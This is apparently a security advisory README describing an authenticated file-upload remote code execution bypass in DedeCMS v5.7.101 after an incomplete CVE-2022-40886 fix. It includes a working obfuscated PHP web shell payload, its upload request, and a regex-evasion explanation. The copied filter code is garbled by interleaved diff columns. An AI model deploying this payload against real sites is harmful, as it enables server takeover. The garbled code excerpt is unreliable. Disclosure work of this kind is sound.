

ADME.md


Dedecms-v5.7.101-RCE

Vulnerability Description

Since CVE-2022-40886 is not fully fixed, Dedecms still has a file upload vulnerability, leading to RCE.

Vulnerability to reproduce

Log in to the backend of the website.



Upload the file hhh.php, the content of the file is as follows:

```
<?php $x='sys';$xx='tem';$xxx=$x.$xx;$y='di';$yy='r';$yyy=$y.$yy;$xxx($yyy) ?>

Content-Disposition: form-data; name="upfile1"; filename="hhh.php"
Content-Type: application/x-php

<?php $x='sys';$xx='tem';$xxx=$x.$xx;$y='di';$yy='r';$yyy=$y.$yy;$xxx($yyy) ?>

4355819743397839373182505964
```

Visit hhh.php:

Vulnerability Analysis

 $In \ / dede/file_manage_control.php \ , the \ content \ of \ the \ file \ we \ upload \ will \ first \ be \ checked \ by \ uploads \ afe.inc.php \ .$

In CVE-2022-40886, the POC uses \$_COOKIE to bypass the \$cfg_disable_funs parameter blacklist. It can be seen that in v5.7.101, uploads/include/uploadsafe.inc.php added the limit of \$_COOKIE, and added some regular matching filtering.

```
s\DedeCMS-V5.7.101-UTF8\uploads\include\uploadsafe.inc.php
                                                                                                            DedeCMS-V5.7.98-UTF8\uploads\include\uploadsafe.inc.php
if(!empty($value) &&
preg_match("#(<)[\s]*(script)[\s\S]*(src)[\s]*(=)[\s]*[\"|']#i", "</pre>
                                                                                                  if(!empty($value) &&
preg_match("#(<)[\s]*(script)[\s\S]*(src)[\s]*(=)[\s]*[\"|']#i", "
{$content}") == TRUE) {</pre>
{$content}") == TRUE) {
preg_match_all("#(src)[\s]*(=)[\s]*[\"|'][\s]*((http|https)(:\/\/)[\S]*)[\"|
                                                                                                  ]#i", " {$content}", $subject);
foreach ($subject[3] as $url) {
 ']#i", " {$content}", $subject);
foreach ($subject[3] as $url) {
if (preg_match("#^(http|https):\/\/#i", $url) &&
!preg_match("#^{$cfg_basehost)#", $url)) {
                                                                                                  if (preg_match("#^(http|https):\/\/#i", $url) &&
!preg_match("#^{$cfg_basehost}#", $url)) {
                             die("DedeCMS提示:非本站资源无法访问
                                                                                                                               die("DedeCMS提示: 非本站资源无法访问
! {$url}");
                                                                                                  ! {$url}");
if(preg_match("#<\?(php|=)#i", " {$content}") == TRUE) {
    if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", "
{$content}") == TRUE) {</pre>
                   $content = dede_htmlspecialchars($content)
die("DedeCMS提示: 当前上传的文件中存在木马
 {$content}");
               if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", "
                   TRUE) {
$content = dede_htmlspecialchars($content);
die("DedecMS提示: 当前上传的文件中存在木马
 {$content}");
                if(preg_match("#[`][\s\S]*[`]#i", " {$content}") == TRUE) {
    $content = dede_htmlspecialchars($content);
                   $content = dede_htmlspecialchars($content)
die("DedeCMS提示: 当前上传的文件中存在后门
```

Focus on the regular matching expression added by uploadsafe.inc.php.

Among them, there is the following regular expression, if the match is successful, the process will be terminated and returned DedeCMS提示: 当前上传的文件中存在木马。

```
[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]
```

This regular expression prevents a lot of malicious code, but it needs to meet the requirements ending with ; , and shell injection can still be performed through <?php ?> .

```
<?php $x='sys';$xx='tem';$xxx=$x.$xx;$y='lc';$yyy=$y.$yy;$xxx($yyy) ?>
```

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